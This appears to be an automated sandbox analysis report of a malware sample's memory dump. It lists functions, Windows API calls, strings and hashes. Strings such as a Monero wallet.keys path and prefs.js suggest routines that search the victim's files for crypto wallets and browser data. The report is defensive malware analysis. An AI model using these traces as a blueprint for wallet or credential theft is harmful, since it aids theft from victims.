Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 4ab6c30cce88f4518393de65b432b38b9464cb3d4455c984213a60952bf5d66b
Instruction ID: 3fc7cafd822016eff3b216d27c90d7484e0563d093071b9535f73d67d9cbb02c
Opcode Fuzzy Hash: 4ab6c30cce88f4518393de65b432b38b9464cb3d4455c984213a60952bf5d66b
Instruction Fuzzy Hash: 066152B5900218ABCB24EBE0ED45FEA73BCBF48701F04859CB51996045EB35EB85DF91

Function 00FB4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00FB4580
RtlAllocateHeap.NTDLL(00000000), ref: 00FB4587
wsprintfA.USER32 ref: 00FB45A6
FindFirstFileA.KERNEL32(?,?), ref: 00FB45BD
StrCmpCA.SHLWAPI(?,00FC0FC4), ref: 00FB45EB
StrCmpCA.SHLWAPI(?,00FC0FC8), ref: 00FB4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00FB468B
FindClose.KERNEL32(000000FF), ref: 00FB46A0
lstrcat.KERNEL32(?,008CEB18), ref: 00FB46C5
lstrcat.KERNEL32(?,008CDCA0), ref: 00FB46D8
lstrlen.KERNEL32(?), ref: 00FB46E5
lstrlen.KERNEL32(?), ref: 00FB46F6

Strings

%s\*, xrefs: 00FB459A
%s\%s, xrefs: 00FB461B

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: ce8ce5ecbd2271803afcdb176d4cbba365474c62c37751d0b2d3f957175bb5d1
Instruction ID: fbbcc11dd60d53751f109d140fde861eac04963294082adf04d124190cb586cd
Opcode Fuzzy Hash: ce8ce5ecbd2271803afcdb176d4cbba365474c62c37751d0b2d3f957175bb5d1
Instruction Fuzzy Hash: A35173B5940218ABCB34EBF0EC89FE973BCAF58700F404598B61996084EF749AC5DF91

Function 00FB3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FB3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00FB3EDA
StrCmpCA.SHLWAPI(?,00FC0FAC), ref: 00FB3F08
StrCmpCA.SHLWAPI(?,00FC0FB0), ref: 00FB3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00FB406C
FindClose.KERNEL32(000000FF), ref: 00FB4081

Strings

%s\%s, xrefs: 00FB3EB7

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9ed6cfab4bf9afab1944ec20d1e735b43a99f7448adb504389572669ad6ddb70
Instruction ID: 199286c3bd0ceb7579f460eea39b1f02b1157a340f8bfccc90bce8309aee44c6
Opcode Fuzzy Hash: 9ed6cfab4bf9afab1944ec20d1e735b43a99f7448adb504389572669ad6ddb70
Instruction Fuzzy Hash: 9E5153B6900218ABCB24EBF0DC85EEA77BCBF48700F00459CB65996044DB75EB89DF51

Function 00FAED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FAED3E
FindFirstFileA.KERNEL32(?,?), ref: 00FAED55
StrCmpCA.SHLWAPI(?,00FC1538), ref: 00FAEDAB
StrCmpCA.SHLWAPI(?,00FC153C), ref: 00FAEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00FAF2AE
FindClose.KERNEL32(000000FF), ref: 00FAF2C3

Strings

%s\*.*, xrefs: 00FAED32

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 8cadf177a2e81e0488ee42bb905c7d2c6bc2d014f188b96cff09cbe27becaea7
Instruction ID: 9ca700953923e8829f0f303194d6bb424edc646dadc8dcc1c82ff919646081d2
Opcode Fuzzy Hash: 8cadf177a2e81e0488ee42bb905c7d2c6bc2d014f188b96cff09cbe27becaea7
Instruction Fuzzy Hash: FBE12971911118AAEB64FB61DC52EEE737CAF54300F4041E9B40B62492EF34AF9AEF51

Function 00FAF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FC15B8,00FC0D96), ref: 00FAF71E
StrCmpCA.SHLWAPI(?,00FC15BC), ref: 00FAF76F
StrCmpCA.SHLWAPI(?,00FC15C0), ref: 00FAF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00FAFAB1
FindClose.KERNEL32(000000FF), ref: 00FAFAC3

Strings

prefs.js, xrefs: 00FAF812

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 7d099760f027b661fdbd033229427076eb4709d062d8d5eff87627f26fa7c152
Instruction ID: 04be0f1be410a6fb247e9008321b7b5da176fd5663be0c128986e210a448186f
Opcode Fuzzy Hash: 7d099760f027b661fdbd033229427076eb4709d062d8d5eff87627f26fa7c152
Instruction Fuzzy Hash: 22B16B71900108ABDB24FF61DC96FED7379AF55300F5085A8E40A9B181EF349B49EF92

Function 00FA16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FC510C,?,?,?,00FC51B4,?,?,00000000,?,00000000), ref: 00FA1923
StrCmpCA.SHLWAPI(?,00FC525C), ref: 00FA1973
StrCmpCA.SHLWAPI(?,00FC5304), ref: 00FA1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FA1D40
DeleteFileA.KERNEL32(00000000), ref: 00FA1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00FA1E20
FindClose.KERNEL32(000000FF), ref: 00FA1E32

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Strings

\*.*, xrefs: 00FA17F1

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 039b1dbd0a10341615f76aa08b48814cdfafbdad4ea86427f733e59b18253dff
Instruction ID: 85aa882e2c0df15d1a6b57a09792a9e975f5bd76a56c54788d568c3441710858
Opcode Fuzzy Hash: 039b1dbd0a10341615f76aa08b48814cdfafbdad4ea86427f733e59b18253dff
Instruction Fuzzy Hash: 52121771910118BBDB25FB61DCA6EEE737CAF54300F404199B10666091EF38AF89EF91

Function 00FADE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00FC0C2E), ref: 00FADE5E
StrCmpCA.SHLWAPI(?,00FC14C8), ref: 00FADEAE
StrCmpCA.SHLWAPI(?,00FC14CC), ref: 00FADEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00FAE3E0
FindClose.KERNEL32(000000FF), ref: 00FAE3F2

Strings

\*.*, xrefs: 00FADE26

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 17cf6ff71151e919e80bc7134d633107d6fce47ec9622f4294bf03645823c6ed
Instruction ID: 3ad890fe60311bc6594d85f12315a408fd14bf8834eaee2b5e58d1d049561dca
Opcode Fuzzy Hash: 17cf6ff71151e919e80bc7134d633107d6fce47ec9622f4294bf03645823c6ed
Instruction Fuzzy Hash: 5CF1E671814118AADB29FB61DCA6EEE7378BF15300F8041D9B01B62491EF346F9AEF51

Function 00FADA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FC14B0,00FC0C2A), ref: 00FADAEB
StrCmpCA.SHLWAPI(?,00FC14B4), ref: 00FADB33
StrCmpCA.SHLWAPI(?,00FC14B8), ref: 00FADB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00FADDCC
FindClose.KERNEL32(000000FF), ref: 00FADDDE

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 94432bee01ae5c55d6e0a666200b9444cf969dd991d41e84dcf579f5c7e929d1
Instruction ID: 795a4de18ecb5a4f2eca73299f137777efbdbf33017377e08da64e8fdffd8d37
Opcode Fuzzy Hash: 94432bee01ae5c55d6e0a666200b9444cf969dd991d41e84dcf579f5c7e929d1
Instruction Fuzzy Hash: 0F9145B6900104ABCB14FBB1EC56DED737CAF85300F408568F81A96585EF38DB59AF92

Function 00FB7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

GetKeyboardLayoutList.USER32(00000000,00000000,00FC05AF), ref: 00FB7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00FB7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00FB7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00FB7C62
LocalFree.KERNEL32(00000000), ref: 00FB7D22

Strings

/ , xrefs: 00FB7C7F

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 58ffda9cda34835d85c16236fc58012a7a146414b8489d01f894e9fa4b6d8643
Instruction ID: d4bd5602945e60f5f26e6a0dbf67f33f426dd3c728394c79bb269b905516bab9
Opcode Fuzzy Hash: 58ffda9cda34835d85c16236fc58012a7a146414b8489d01f894e9fa4b6d8643
Instruction Fuzzy Hash: 25414E71940218ABDB24EB95DC99FEEB7B8FF48700F2041D9E00966181DB386F85DFA1

Function 01378342 Relevance: 10.4, Strings: 7, Instructions: 1644COMMON

Download Yara Rule

Strings

t_}|, xrefs: 013796FA
Ao?=, xrefs: 013789ED
wMy, xrefs: 01378F01
fVO, xrefs: 01379282
Zy, xrefs: 01379548
3W,1, xrefs: 01378DED
t'o, xrefs: 0137870F

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3W,1$Ao?=$Zy$fVO$t'o$t_}|$wMy
API String ID: 0-2597736597
Opcode ID: 7ffd7e6afa5487430b2f2155ab6f33f6cc1c63bbbf0e7070b899c26c0ddd00d5
Instruction ID: 33c26d595322a94c24e1db8b1d2f21e7b35eb87baed2d0baff41a2ea2e830358
